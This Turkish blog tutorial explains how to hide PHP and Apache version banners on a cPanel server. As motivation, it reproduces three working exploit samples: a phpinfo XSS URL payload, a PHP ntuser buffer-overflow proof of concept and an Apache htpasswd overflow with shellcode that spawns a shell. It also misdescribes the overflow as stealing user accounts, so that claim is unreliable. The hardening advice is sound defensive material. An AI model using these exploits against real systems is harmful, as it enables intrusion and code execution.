"Enter"a basıp içeriğe geçin

Cpanel Sunucu PHP ve Apache Versiyon Bilgilerini Gizleme

 

 

linux-mysql-php-apache

Merhaba arkadaşlar bugün kötü niyetli hacker diye tabir ettiğimiz kişilerin bir sisteme sızmadan önce yaptıkları en önemli kısımlardan biri olan scanning aşamasından kurtulmak için yapmanız gereken bazı gizlenme olaylarından bahsetmeye çalışacağım.

Öncelikle Scanning aşamasında neler yapılıyor kısaca bunlardan bahsedelim.

Scanning aşamasına atak öncesi hazırlık aşamasıda diyebiliriz.Bu kısımda hacker diye tabir edilen kişiler öncelikle açık olan portlara bakarlar sonrasında açık portların kullandığı programlar ve bu programların sürümleri (Version) araştırılır.Bunun tek bir nedeni vardır eger eski sürüm bir işletim sistemi , php derleyicisi , apache ,kernel vb. programları kullanıyorsanız bunların açıklarının veya exploitlerinin bulunma olasılığı yüksek olur.

Örnek vermek gerekirse ; [b]php 4.4.3 – php 4.4.6 phpinfo() remote xss exploit [/b]’ i gösterebiliriz.Aşagıdaki kodun çalışması demek karşıtarafta xss (cross side script) kodlarını çalıştırabiliriz demek olur.

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

Daha yeni bir versiyon için örnek vermek gerekirse ;

[b]PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow[/b]

<?php
//author: shinnai

//also theese are vulnerable:
//ntuser_getusergroups <– DoS, we control EAX
//ntuser_getdomaincontroller <– DoS, we control EAX
//ntuser_getuserinfo <– BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE “CCC… x 100”
//EBP 00C0FBD0 UNICODE “CCC + DDD… x 100”
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat(“\x41”, 250);

$get_EIP = “\x42\x42”;

$get_ESP = str_repeat(“\x43”, 100);

$get_EBP = str_repeat(“\x44”, 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

Yukarıdaki exploitin amacı microsoft userlarını çalmaya dayalıdır.

[b]Proof Of Concept exploit for htpasswd of Apache.[/b]

#!/usr/bin/perl
# – Luiz Fernando Camargo
$shellcode = “\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68”.
“\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”;

$target = “/usr/local/apache/bin/htpasswd”;
$retaddr = 0xbffffffa – length($shellcode) – length($target);

print “using retaddr = 0x”, sprintf(‘%lx’,($retaddr)), “\r\n”;

local($ENV{‘XXX’}) = $shellcode;
$newret = pack(‘l’, $retaddr);
$buffer = “A” x 272;
$buffer .= $newret x 4;
$buffer .= ” “;
$buffer .= “B” x 290;

exec(“$target -nb $buffer”);

Yukarıda gösterdiğim örneklerdende anlayacağınız gibi sisteminizdeki programların hackerlar tarafından görülmemesig gerekmektedir.Bizler LİNUX makinelerdeki php nin vede apache nin gizlenmesi için gerekli olan işlemleri aşağıdaki gibi yaparsak bu dosyalarımızın sürümleri kötü niyetli kişiler tarafından görülemez.

PHP VERSİYON GİZLEME

PHP dosyalar versiyonunu gizlemek için php.ini dosyamızı duzenliyoruz.Bunun için ilk yapmamız gereken php.ini dosyamızın konumunu bulmak olacaktır.

[root@server ~]# php -i | grep php.ini

Configuration File (php.ini) Path = /usr/local/lib

Loaded Configuration File = /usr/local/lib/php.ini

[root@server ~]# nano /usr/local/lib/php.ini

Nano text editörü ile açtığımız dosyayı şekildeki gibi düzenliyoruz.

expose_php Off

APACHE VERSİYON GİZLEME

httpd.conf dosyamızı nano editor ile açıyoruz. Dosyamızda eger bu satırlar yok ise ekliyoruz eger sürümden kaynaklı dosyamızda var ise aşagıdaki şekline getiriyoruz.

[root@server ~]# nano /usr/local/apache/conf/httpd.conf  (Cpanel için geçerlidir.)

ServerTokens ProductOnly
ServerSignature Off

Editorumuzu kaydedip çıktıktan sonra artık httpd servisimizi restart edebiliriz.

[root@server ~]# service httpd restart

Bir Cevap Yazın

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.